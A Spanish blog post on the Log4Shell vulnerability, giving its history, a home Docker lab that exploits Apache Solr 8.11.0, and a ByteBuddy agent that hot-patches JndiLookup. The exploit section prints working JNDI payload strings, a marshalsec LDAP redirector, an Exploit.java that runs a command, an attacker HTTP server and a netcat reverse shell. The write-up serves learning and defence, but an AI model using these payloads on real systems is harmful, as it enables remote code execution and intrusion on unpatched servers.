Log4Shell un regalito de navidad 🎅🏼 jojojojo

De verdad que ha sido un grannn 🎁 de navidad para mucha gente, incluso creo que más para el desarrollador de la dependencia en si, ejje si, el que introdujo la vulnerabilidad sin darse cuenta, de ahí, que mucha gente se cuestione, de que a pesar de ser un proyecto open-source, no es igual a que lo auditen siempre.

La vulnerabiliad fue descubierta por un chino Chen Zhaojun del Alibaba Cloud Security Team. de ahí empezaron a hacerse verdad los rumores.

🗓 Breve historia

2013 JNDI Lookup plugin support

Hace par de años introduciendo la feature xD

2016 Blackhat

Ya se habían enterado muchas personas de que el protocolo JDNI se podria explortar por aquí

The #Log4Shell attack vector was known since 2016

Presentación de Alvaro Muñoz BlackHat 2016

2019 The Ghost in the logging framework

Expresion regular que andaba por ahi para mitigar entre comillas la issue, varios a nivel api-gateway he visto que han hecho cosas parecidas.

2021/10 de Diciembre el regalo 🎄🎁🎅

El día 10 el CVE-2021-44228

Versiones afectadas de Apache Log4j™ 2

soler

Con tener una dependencia con la version 2.14.0 de maven valdría:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>

Pasos de la inyección JNDI

Por medio de una request a la aplicación vía parametros, headers, se pasa el String que se loguea por log4j2.

La interface JNDI buscará un objeto en una ruta específica, local o remota al servidor LDAP aka LDAPRefServer, que este hará una redirección de la request inicial al servidor malicioso.

La redirección es satisfactoria y se descarga el malware.

Y por último el malware se ejecuta en el objetivo.

inyeccion flow


TryHackMe Solar, exploiting log4j

soler

Vamos a probar esta maquina vulnerable de apache solar versión 8.11.0, un motor de busqueda basado en Java.

Pasa que sin ser VIP en TryHackMe nuestra maquina virtual de ahí, dura solo 1 hora jajaj,vamos contenerizar mejor esta versión de apache solr nosotros mismos con docker y ya, con eso podemos resolverla tranquilamente.

El Dockerfile

Si lo demás falla, crearemos un dockerfile que construya el entorno para nosotros 😈.

FROM ubuntu:latest
RUN apt-get update && apt-get install -y wget && apt-get install -y ncat && apt-get install -y iputils-ping (1)
RUN wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz \ (2)
	&& wget https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.tgz
RUN tar -xzf jdk-8u181-linux-x64.tar.gz && tar -xzf solr-8.11.0.tgz
ENV JAVA_HOME /jdk1.8.0_181
RUN rm jdk-8u181-linux-x64.tar.gz && rm solr-8.11.0.tgz
ENV PATH $PATH:$JAVA_HOME/bin
# Documentamos puerto a usar con docker run -ti -p 8983:8983
EXPOSE 8983
ENTRYPOINT ["/solr-8.11.0/bin/solr", "-f", "-force", "-p", "8983"]
1 Con Netcat, ping, y wget 🔥
2 Versión de Java vulnerable, también podriamos descargarla de algún otro lugar y con el step COPY copiarla dentro del contenedor.

Ejecutando Dockerfile

rubn ⲁƛ ▸ docker build -t ubuntu-solr-log4shell . (1)
[+] Building 5.7s (11/11) FINISHED
 => [internal] load build definition from Dockerfile                                                                                                            0.0s
 => => transferring dockerfile: 650B                                                                                                                            0.0s
 => [internal] load .dockerignore                                                                                                                               0.0s
 => => transferring context: 2B                                                                                                                                 0.0s
 => [internal] load metadata for docker.io/library/ubuntu:latest                                                                                                5.7s
 => [1/7] FROM docker.io/library/ubuntu:latest@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f                                          0.0s
 => CACHED [2/7] RUN apt-get update && apt-get install -y wget && apt-get install -y ncat                                                                       0.0s
 => CACHED [3/7] RUN wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz                                                            0.0s
 => CACHED [4/7] RUN wget https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.tgz                                                                    0.0s
 => CACHED [5/7] RUN tar -xzf jdk-8u181-linux-x64.tar.gz && tar -xzf solr-8.11.0.tgz                                                                            0.0s
 => CACHED [6/7] RUN rm jdk-8u181-linux-x64.tar.gz                                                                                                              0.0s
 => CACHED [7/7] RUN rm solr-8.11.0.tgz                                                                                                                         0.0s
 => exporting to image                                                                                                                                          0.0s
 => => exporting layers                                                                                                                                         0.0s
 => => writing image sha256:2d369671576c81f42228ebea268be0ad8a37ed7fc568c4741d7537a523e154d4                                                                    0.0s
 => => naming to docker.io/library/ubuntu-solr-log4shell                                                                                                        0.0s
1 Construimos nuestra imagen por medio del dockerfile y se llamará ubuntu-solr-log4shell.

Corriendo Solr

rubn ⲁƛ ▸ docker run -ti -p 8983:8983 ubuntu-solr-log4shell (1)
Java HotSpot(TM) 64-Bit Server VM warning: Failed to reserve shared memory. (error = 12)
Java HotSpot(TM) 64-Bit Server VM warning: Failed to reserve shared memory. (error = 12)
Java HotSpot(TM) 64-Bit Server VM warning: Failed to reserve shared memory. (error = 12)
Java HotSpot(TM) 64-Bit Server VM warning: Failed to reserve shared memory. (error = 12)
2023-10-16 18:19:17.071 INFO  (main) [   ] o.e.j.u.log Logging initialized @710ms to org.eclipse.jetty.util.log.Slf4jLog
(2)
2023-10-16 18:19:17.213 INFO  (main) [   ] o.e.j.s.Server jetty-9.4.44.v20210927; built: 2021-09-27T23:02:44.612Z; git: 8da83308eeca865e495e53ef315a249d63ba9332; jvm 1.8.0_181-b13
2023-10-16 18:19:17.221 INFO  (main) [   ] o.e.j.d.p.ScanningAppProvider Deployment monitor [file:///solr-8.11.0/server/contexts/] at interval 0
2023-10-16 18:19:17.386 INFO  (main) [   ] o.e.j.w.StandardDescriptorProcessor NO JSP Support for /solr, did not find org.apache.jasper.servlet.JspServlet
2023-10-16 18:19:17.408 INFO  (main) [   ] o.e.j.s.session DefaultSessionIdManager workerName=node0
2023-10-16 18:19:17.408 INFO  (main) [   ] o.e.j.s.session No SessionScavenger set, using defaults
2023-10-16 18:19:17.410 INFO  (main) [   ] o.e.j.s.session node0 Scavenging every 600000ms
2023-10-16 18:19:17.463 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter Using logger factory org.apache.logging.slf4j.Log4jLoggerFactory
2023-10-16 18:19:17.466 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter  ___      _       Welcome to Apache Solr? version 8.11.0
2023-10-16 18:19:17.466 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter / __| ___| |_ _   Starting in standalone mode on port 8983
2023-10-16 18:19:17.466 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter \__ \/ _ \ | '_|  Install dir: /solr-8.11.0
2023-10-16 18:19:17.467 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter |___/\___/_|_|    Start time: 2023-10-16T18:19:17.467Z
2023-10-16 18:19:17.471 INFO  (main) [   ] o.a.s.c.SolrPaths Using system property solr.solr.home: /solr-8.11.0/server/solr
2023-10-16 18:19:17.471 INFO  (main) [   ] o.a.s.c.SolrXmlConfig Loading container configuration from /solr-8.11.0/server/solr/solr.xml
2023-10-16 18:19:17.538 INFO  (main) [   ] o.a.s.c.SolrXmlConfig MBean server found: com.sun.jmx.mbeanserver.JmxMBeanServer@2b6faea6, but no JMX reporters were configured - adding default JMX reporter.
2023-10-16 18:19:17.897 INFO  (main) [   ] o.a.s.h.c.HttpShardHandlerFactory Host whitelist initialized: WhitelistHostChecker [whitelistHosts=null, whitelistHostCheckingEnabled=true]
2023-10-16 18:19:18.034 WARN  (main) [   ] o.e.j.u.s.S.config Trusting all certificates configured for Client@61526469[provider=null,keyStore=null,trustStore=null]
2023-10-16 18:19:18.035 WARN  (main) [   ] o.e.j.u.s.S.config No Client EndPointIdentificationAlgorithm configured for Client@61526469[provider=null,keyStore=null,trustStore=null]
2023-10-16 18:19:18.100 WARN  (main) [   ] o.e.j.u.s.S.config Trusting all certificates configured for Client@740abb5[provider=null,keyStore=null,trustStore=null]
2023-10-16 18:19:18.100 WARN  (main) [   ] o.e.j.u.s.S.config No Client EndPointIdentificationAlgorithm configured for Client@740abb5[provider=null,keyStore=null,trustStore=null]
2023-10-16 18:19:18.133 WARN  (main) [   ] o.a.s.c.CoreContainer Not all security plugins configured!  authentication=disabled authorization=disabled.  Solr is only as secure as you make it. Consider configuring authentication/authorization before exposing Solr to users internal or external.  See https://s.apache.org/solrsecurity for more info
2023-10-16 18:19:18.228 INFO  (main) [   ] o.a.s.c.TransientSolrCoreCacheDefault Allocating transient core cache for max 2147483647 cores with initial capacity of 1024
2023-10-16 18:19:18.235 INFO  (main) [   ] o.a.s.h.a.MetricsHistoryHandler No .system collection, keeping metrics history in memory.
2023-10-16 18:19:18.280 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.node' (registry 'solr.node') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@2b6faea6
2023-10-16 18:19:18.281 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jvm' (registry 'solr.jvm') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@2b6faea6
2023-10-16 18:19:18.282 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jetty' (registry 'solr.jetty') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@2b6faea6
2023-10-16 18:19:18.306 INFO  (main) [   ] o.a.s.c.CorePropertiesLocator Found 0 core definitions underneath /solr-8.11.0/server/solr
2023-10-16 18:19:18.338 INFO  (main) [   ] o.e.j.s.h.ContextHandler Started o.e.j.w.WebAppContext@72035809{/solr,file:///solr-8.11.0/server/solr-webapp/webapp/,AVAILABLE}{/solr-8.11.0/server/solr-webapp/webapp}
2023-10-16 18:19:18.347 INFO  (main) [   ] o.e.j.s.AbstractConnector Started ServerConnector@28f2a10f{HTTP/1.1, (http/1.1, h2c)}{0.0.0.0:8983}
2023-10-16 18:19:18.348 INFO  (main) [   ] o.e.j.s.Server Started @1988ms
2023-10-16 18:20:13.243 INFO  (qtp1118078504-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1697480413160} status=0 QTime=31
2023-10-16 18:20:13.249 INFO  (qtp1118078504-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1697480413160} status=0 QTime=37
2023-10-16 18:20:13.288 INFO  (qtp1118078504-25) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1697480413160} status=0 QTime=4
1 Mismo caso, ejecutamos run, ya para la próxima ejecutar añadiendo --rm, o sino docker start -i contendor_id evitando crear otro contenedor.
2 Versíon de Java vulnerable.

apachesolr 8.11 jdk8


Donde podemos introducir los Strings ?

En cualquier parte que loguee por medio del api apache Log4j2, en este caso solr, por medio de los query parameters permite mostrar información por consola, lo que lo convierte en un vector de ataque.

También formularios, inputs (textboxes), los passwordfields, headers, etc.

Si invocamos a esta url con curl o lo que sea, desde cualquier navegador también:

http://localhost:8983/solr/admin/info/system (1)
1 Esta url muestra logs por consola de la aplicación solr, cosa que puede ser muy común en otras 🤣
2023-10-14 16:24:00.416 INFO  (qtp1550228904-38) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1697300640352} status=0 QTime=4

Con postman

params showme in console

2023-10-14 16:32:52.113 INFO  (qtp1550228904-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={bar=muestra_esto_en_consola} status=0 QTime=3

Explorando

Con El String-maldito podemos comprobar si la aplicación es vulnerable haciendo que la víctima se conecte a nuestro servidor netcat por ejemplo:

${jndi:ldap://ElJuanKer}
${jndi:ldap://192.168.1.8:9999} (1)
1 Dicha ip, contiene un listener de Netcat en kali, o en cualquier otro sistema operativo, si hasta android.

solr admin info system

Activando nuestro listener en Kali

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9999
listening on [any] 9999 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.241] 37842 (1)
0
 `� (2)
1 192.168.1.241 es el host donde esta el contenedor
2 Este servidor de Solr es vulnerable a este tipo de inyección.

El Payload Necesitamos un LDAPRefServer

Necesario para redireccionar la request inicial de la aplicación víctima hasta el servidor malicioso, actua como un listener/handler.

En Apache solr esta solicitud no es filtrada de ninguna manera en esta versión logrando comprometer el sistema y pasando la request al server remoto.

En una aplicación spring ya es otra cosa por la seguridad que posee sabiendo que muchos lo explotan enviando el query parameters en Base64 aka ofuscated payload para penetrar el sistema.

Unmarshalling process, o deserialización, marshalsec un paper interesante donde se habla lo vulnerable que puede ser Java a la hora de deserializar un Objeto.

Construyendo el .jar

Compilar con la jdk 8 que es la misma que de Solr, y ejecutar también.

Construimos el marshalsec-0.0.3-SNAPSHOT-all.jar como sea, en docker, con el IDE de preferencia, lo que sea y con Java ejemplo "1.8.0_181".

┌──(kali㉿kali)-[~/Desktop]
└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.8:8080/#Exploit (1)

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389 (2)
1 La dirección ip del atacante, haciendo referencia al puerto 8080, que se invocará cuando el listener se dispare.
2 Nuestro LDAP malicioso a la escucha, esa salida en consola es justo de aquí, LDAPRefServer

Jdk 8 vulnerable en docker

Se hace tedioso muchas veces setear la jdk específica que queremos, también se hubiese usado SDKMAN

El Dockerfile y el .jar deben estar en el mísmo directorio, o sino, establecer la ruta correcta en el punto
FROM openjdk:8u181-jre (1)
COPY marshalsec-0.0.3-SNAPSHOT-all.jar /usr/app/ (2)
WORKDIR /usr/app (3)
EXPOSE 1389  (4)
ENTRYPOINT ["java", "-cp", "marshalsec-0.0.3-SNAPSHOT-all.jar","marshalsec.jndi.LDAPRefServer","http://192.168.1.8:8080/#Exploit"] (5)
1 Es la versión justo que vamos a contenerizar, y vulnerable.
2 Este .jar esta en la misma ruta que el Dockerfile, y se copiara dentro del contendor dentro de la ruta indicada
3 Se setea el directorio a usar, puede ser opcional
4 Con Expose sirve de documentación a la hora de construir la imagen, que se debe exponer este puerto con -p 1389:1389 para el listener del LDAP malicioso
5 Ejecutamos el .jar final, con ENTRYPOINT que es parecido a CMD pero si que tienen sus diferencias.
┌──(kali㉿kali)-[~/Desktop/jdk-8-dockerfile]
└─$ docker run -it -p 1389:1389 jdni-log4shell (1)
1 Corriendo y exponiendo puerto 1389

☣ Compilamos nuestro payload

javac Exploit.java y tendremos el .class con veneno ☣

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("ping -c 3 192.168.1.8");
        }
        catch (Exception exception) {
            exception.printStackTrace();
        }
    }
}

Recompilando bytecode con Recaf

Este permite editar el .class en tiempo de ejecución y luego salvarlo (Ctrl + S), bueno saberlo.

recompile exploit

Opcional claro está, sino compilar con javac el exploit y ya.

Servidor en maquina atacante

┌──(root㉿kali)-[/home/kali/Desktop]
└─# python3 -m http.server 8080 (1)
1 Esto aqui esta sirviendo al paypload/exploit, en la misma ruta donde esta el Exploit.class generado previamente.

Escuchamos en eth0

┌──(root㉿kali)-[/home/kali]
└─# tcpdump -i eth0 icmp (1)
1 Como prueba de que la víctima nos hará ping, que es el código del payload.

Iniciando ataque

Hacemos curl

curl http://192.168.1.241:8983/solr/admin/cores?foo=$\{jndi:ldap://192.168.1.8:1389/Exploit\} (1)
1 Haciendo request a la aplicación víctima con los parametros para la conexion del LDAP envenao.

Nuestro handler LDAP responde

┌──(kali㉿kali)-[~/Desktop]
└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.8:8080/#Exploit

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Send LDAP reference result for Exploit redirecting to http://192.168.1.8:8080/Exploit.class
Send LDAP reference result for Exploit redirecting to http://192.168.1.8:8080/Exploit.class (1)
1 Nuestro LDAP redirecciona al recurso, hasta nuestro servidor python.

La víctima hace ping

El paylaod fue correctamente ejecutado en la víctima.

┌──(root㉿kali)-[/home/kali]
└─# tcpdump -i eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
00:16:39.120987 IP 192.168.1.241 > 192.168.1.8: ICMP echo request, id 7, seq 91, length 64
00:16:39.121057 IP 192.168.1.8 > 192.168.1.241: ICMP echo reply, id 7, seq 91, length 64
00:16:39.152940 IP 192.168.1.241 > 192.168.1.8: ICMP echo request, id 6, seq 91, length 64

Ejecutando NetCat

👂🏻La ReverseShell

Reactivamos nuestro listener de netcat y hacemos curl de nuevo boom!!!

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9999
listening on [any] 9999 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.241] 53578
ls -la
total 220
drwxr-xr-x 1 root root   4096 Oct 16 18:19 .
drwxr-xr-x 1 root root   4096 Oct 16 18:14 ..
-rw-r--r-- 1 root root   3933 Nov  5  2021 README.txt
drwxr-xr-x 2 root root   4096 Oct 16 18:14 contexts
drwxr-xr-x 2 root root   4096 Oct 16 18:14 etc
drwxr-xr-x 3 root root   4096 Oct 16 18:14 lib
drwxr-xr-x 2 root root   4096 Oct 17 00:20 logs
drwxr-xr-x 2 root root   4096 Oct 16 18:14 modules
drwxr-xr-x 2 root root   4096 Oct 16 18:14 resources
drwxr-xr-x 3 root root   4096 Nov  5  2021 scripts
drwxr-xr-x 1 root root   4096 Oct 16 18:19 solr
drwxr-xr-x 3 root root   4096 Nov  9  2021 solr-webapp
-rw-r--r-- 1 root root 163958 Sep 27  2021 start.jar

Acceso desde windows

Misma historia que con kali, solo que usamos aquí un servidor llamado HFS File Server por el del python por la brevedad.

send payload from windows


🕵 Patch JndiLookup

dynamic attach flow

<dependency>
    <groupId>com.sun</groupId>
    <artifactId>tools</artifactId>
    <version>any</version>
    <scope>system</scope>
    <systemPath>${java.home}/../lib/tools.jar</systemPath> (1)
</dependency>
1 Muy necesario tener esta libreria de la JDK 8, se investiga usar las versiones mas nuevas, en la JDK 8 por ejemplo, el tools.jar que permite hacer la magia negra en la JVM.

Configurando Agente con ByteBuddy

Creamos nuestro agente con bytebuddy como en un pasado, pero esta vez, más complejo, para hacer dynamic attach, tiene muchos otros nombres esta técnica, también monkey patching…​

public static void transform(String args, Instrumentation inst) {
    new AgentBuilder.Default()
            .ignore(ElementMatchers.none()) (1)
            .disableClassFormatChanges() (2)
            .with(AgentBuilder.RedefinitionStrategy.RETRANSFORMATION) (3)
            .with(AgentBuilder.RedefinitionStrategy.Listener.StreamWriting.toSystemError()) (4)
            .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
            .with(AgentBuilder.Listener.StreamWriting.toSystemError().withTransformationsOnly()) (5)
            .type(ElementMatchers.nameContains(TARGET_CLASS_JNDI_LOOKUP)) (6)
            .transform((builder, typeDescription, classLoader, module, protectionDomain) ->
                        builder.visit(Advice.to(Log4ShellAdvice.class) (7)
                                .on(ElementMatchers.isMethod())
                )
            )
            .installOn(inst); (8)
}
1 Ignoramos cualquier macher
2 Permite la redifinición de la clase en el JVM, deshabilitando ciertas operaciones que la mayoría de las JVM no permiten con respecto a la retransformación de clases, info.
3 Se setea estrategia de retransformación de la clase JndiLookup cargada, o que esta por ejecutar.
4 Mostrar errores generales
5 Mostrar errores si pasa algo a la hora de transformar la clase
6 Filtro para transformar justo la clase vulnerable .log4j.core.lookup.JndiLookup
7 Necesario para retransformar, es un decorador aka decorator, que en el fondo pasará por el Advice, que es muy importante definirle, con método de entrada y salida, y se usa en combinacíon con la caracterísca del punto 2
8 Instalamos el agente en el api de Java.

También podemos:

 .transform((builder, typeDescription, classLoader, module, protectionDomain) ->
                        builder.visit(Advice.to(Log4ShellAdvice.class)
                                .on(ElementMatchers.hasMethodName("lookup"))) (1)
                )
1 Si queremos instrumentar solo un método en específico.

Ejecutando Agente vía dynamic attach

rubn ⲁƛ ▸ docker exec -it 9b473d1f7849 bash (1)
root@9b473d1f7849:/# java -jar agent-1.0.1-jar-with-dependencies.jar 1 (2)

Attached to target jvm correctly

root@9b473d1f7849:/#
1 Necesitamos entrar al contenedor para ejecutar el agente dentro, nuestro jar podemos pasarlo dentro del contenedor como se nos ocurra.
2 Con esto ejecutamos nuestro Agente pero, necesitamos el PID del proceso de la JVM, como este caso estamos dentro del contenedor de Solr, ese PID lo extraemos con el comando top y suele ser 1
Para saber el pid de la JVM podemos usar, jcmd que es mas descriptivo y jps.

Watch

Si estamos en pruebas en local, distinto a docker, seria útil usar el comando watch para ver nuestros PID`s, es fastidioso ejecutar cada momento, entonces tenemos:

watch -n 2 \ (1)
'jcmd | grep .jar' (2)
1 El comando watch que nos permite refrescar con el parámetro -n cada 2 segundos, la \ es solo para dividir la linea y explicar mejor 😍
2 Entre comillas, ejecutamos jcmd y la salida es filtrada por los ficheros que terminen en .jar

Parcheo ejecutado en Solr

monkey patching1

En este caso del parcheo, hacemos instrumentación a los métodos de las clase JndiLookup con el código del agente expuesto arriba.

2023-10-22 23:43:45.021 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jvm' (registry 'solr.jvm') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2023-10-22 23:43:45.022 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jetty' (registry 'solr.jetty') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2023-10-22 23:43:45.048 INFO  (main) [   ] o.a.s.c.CorePropertiesLocator Found 0 core definitions underneath /solr-8.11.0/server/solr
2023-10-22 23:43:45.079 INFO  (main) [   ] o.e.j.s.h.ContextHandler Started o.e.j.w.WebAppContext@5e2c3d18{/solr,file:///solr-8.11.0/server/solr-webapp/webapp/,AVAILABLE}{/solr-8.11.0/server/solr-webapp/webapp}
2023-10-22 23:43:45.089 INFO  (main) [   ] o.e.j.s.AbstractConnector Started ServerConnector@2fb3536e{HTTP/1.1, (http/1.1, h2c)}{0.0.0.0:8983}
2023-10-22 23:43:45.090 INFO  (main) [   ] o.e.j.s.Server Started @2029ms
Execute Agentmain method (1)

           ,@&@@
              &@@/*/#&
              *//*,,/*/*(
             **,*/***//**,#            #%##
              ,/,*/**/*,,**(,##   .%(***/*,*&&@@
               (*(,*,//*,/(**/*/*/(**/*,*/,/#&%@#&#%&&
                 ***/,/(/***,//*,***,////*(&%@#@%%%&&#(&&
                 /**/,/**,///**,(#((((*,%@&&&@@%&&%&@&%%&#%@
                .///*,****////**%#@&%@&@#@#@%&@%&%&(&@%&%@#&%@
             &(***,/(//*/,***,*,*#%%&@@&@%(%(**...*##@@&%@%%@#&
        ***//*,//*,,**%,/*,//**/*.,,*,,,/ ,*,,,,*/,**,./%&@#%%%%&
        (*/***,,/(/,/%@*(***//****,,.,,,.//,**.,,,**/,,*(,@%&%%#%&@&@@@@.
      @%%%%%&%&%&%&%@%,///**/(,,,,./***,*,.,,*,//.*,.,,****&#%%@@%%&%%#&%#&@
    #%&&#&&@&&&%@%&&&*/,/*//*/.*,.,,,.//*/***.,.*,,/*,*.,*./%&&&@@@%&&&#&&&#&
   .%%&&&&#/***%%&@@%%****,,*/&@@@/*.*,.,*,,*/&@@&*,,,*/*/.*%#&&@&*(,*/#&&@#%&
   #%@&&@((**#/%&%&%%(,*,//,**,*,,,**,/,/*,,**,**./*.,*.,,*@@%@(%&,/**((%%@&#&
    %&&&&@****//&%%&%%.*,,/,**.**.**,,@@@@@*/.**.,,**,*,,*%@&%&%&&*,*%/&#&&@&%
    #%@#%&&@&&%%&&%&&%,*,,,,,,,*/./*,*(#@&(.,*,/*,*.,.,*,/,/#@%%#&%@&%%@&%&%#
      %%@&@&%@&%&&&%@ ,*.**,@.,,.,,*,//,**.,,,.,*.*/&**,.*,*&%@&%@&&%@&&@%#.
         (/&&@&&@&@#&.*.,./,*@@/./*,,,,,,/.//.**./@&,//.**,,@@@%#%
                  %@%& /.*.,.*/%&@/,**,*,.,..*@&@%*.,*,*,*,%@&#%
                   /%@#&.**.,.*,,/*@@@@@@@@@@@&**,/*.*,,.#@%&&
                      %@&%,***,**,*.,,/.//,*/.,*,*,// &&%@&%
                        .#&@#&&..*///(#/*(#((/*  #&&@@@%&
                            @##@@&@@%@&&%@@%@&%@@&@/.
                                   %(%(*(&#%%

Starting monkey patching :D by rubn0x52.com

[Byte Buddy] REDEFINE BATCH #0 [1 of 1 type(s)]
[Byte Buddy] TRANSFORM org.apache.logging.log4j.core.lookup.JndiLookup [startJarLoader@497470ed, null, Thread[Attach Listener,9,system], loaded=true]
[Byte Buddy] REDEFINE COMPLETE 1 batch(es) containing 1 types [0 failed batch(es)]
OnEnter => public java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.lookup(org.apache.logging.log4j.core.LogEvent,java.lang.String)
OnEnter => private java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.convertJndiName(java.lang.String)
.log4j.core.lookup.JndiLookup is patched!!!
.log4j.core.lookup.JndiLookup is patched!!!
(2)
OnEnter => public java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.lookup(org.apache.logging.log4j.core.LogEvent,java.lang.String)
OnEnter => private java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.convertJndiName(java.lang.String)
.log4j.core.lookup.JndiLookup is patched!!!
.log4j.core.lookup.JndiLookup is patched!!!
(3)
2023-10-22 23:44:42.096 INFO  (qtp1083962448-25) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=Attack neutralized by agent} status=0 QTime=27
1 Agentmain ejecutado
2 Aquí se interceptó la llamada del atacante, pero a la misma vez es neutralizada, porque el método lookUp de la clase JndiLookup vulnerable retorna es esto Attack neutralized by agent 😈 como String, cero invocaciones a ningún servidor.
3 Ya este GET por parte del atacante no funciona.

También tenemos, este log cuando hacemos instrumentación a un solo método, en este caso el lookup

Execute Agentmain method

           ,@&@@
              &@@/*/#&
              *//*,,/*/*(
             **,*/***//**,#            #%##
              ,/,*/**/*,,**(,##   .%(***/*,*&&@@
               (*(,*,//*,/(**/*/*/(**/*,*/,/#&%@#&#%&&
                 ***/,/(/***,//*,***,////*(&%@#@%%%&&#(&&
                 /**/,/**,///**,(#((((*,%@&&&@@%&&%&@&%%&#%@
                .///*,****////**%#@&%@&@#@#@%&@%&%&(&@%&%@#&%@
             &(***,/(//*/,***,*,*#%%&@@&@%(%(**...*##@@&%@%%@#&
        ***//*,//*,,**%,/*,//**/*.,,*,,,/ ,*,,,,*/,**,./%&@#%%%%&
        (*/***,,/(/,/%@*(***//****,,.,,,.//,**.,,,**/,,*(,@%&%%#%&@&@@@@.
      @%%%%%&%&%&%&%@%,///**/(,,,,./***,*,.,,*,//.*,.,,****&#%%@@%%&%%#&%#&@
    #%&&#&&@&&&%@%&&&*/,/*//*/.*,.,,,.//*/***.,.*,,/*,*.,*./%&&&@@@%&&&#&&&#&
   .%%&&&&#/***%%&@@%%****,,*/&@@@/*.*,.,*,,*/&@@&*,,,*/*/.*%#&&@&*(,*/#&&@#%&
   #%@&&@((**#/%&%&%%(,*,//,**,*,,,**,/,/*,,**,**./*.,*.,,*@@%@(%&,/**((%%@&#&
    %&&&&@****//&%%&%%.*,,/,**.**.**,,@@@@@*/.**.,,**,*,,*%@&%&%&&*,*%/&#&&@&%
    #%@#%&&@&&%%&&%&&%,*,,,,,,,*/./*,*(#@&(.,*,/*,*.,.,*,/,/#@%%#&%@&%%@&%&%#
      %%@&@&%@&%&&&%@ ,*.**,@.,,.,,*,//,**.,,,.,*.*/&**,.*,*&%@&%@&&%@&&@%#.
         (/&&@&&@&@#&.*.,./,*@@/./*,,,,,,/.//.**./@&,//.**,,@@@%#%
                  %@%& /.*.,.*/%&@/,**,*,.,..*@&@%*.,*,*,*,%@&#%
                   /%@#&.**.,.*,,/*@@@@@@@@@@@&**,/*.*,,.#@%&&
                      %@&%,***,**,*.,,/.//,*/.,*,*,// &&%@&%
                        .#&@#&&..*///(#/*(#((/*  #&&@@@%&
                            @##@@&@@%@&&%@@%@&%@@&@/.
                                   %(%(*(&#%%

Starting monkey patching :D by rubn0x52.com

[Byte Buddy] REDEFINE BATCH #0 [1 of 1 type(s)]
[Byte Buddy] TRANSFORM org.apache.logging.log4j.core.lookup.JndiLookup [startJarLoader@497470ed, null, Thread[Attach Listener,9,system], loaded=true]
[Byte Buddy] REDEFINE COMPLETE 1 batch(es) containing 1 types [0 failed batch(es)]
                                                                                   (1)
OnEnter => public java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.lookup(org.apache.logging.log4j.core.LogEvent,java.lang.String)
.log4j.core.lookup.JndiLookup is patched!!!
OnEnter => public java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.lookup(org.apache.logging.log4j.core.LogEvent,java.lang.String)
.log4j.core.lookup.JndiLookup is patched!!!
2023-10-23 00:05:57.959 INFO  (qtp1083962448-25) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://192.168.1.8:1389/Exploit}} status=0 QTime=27
1 Instrumentando al método lookup.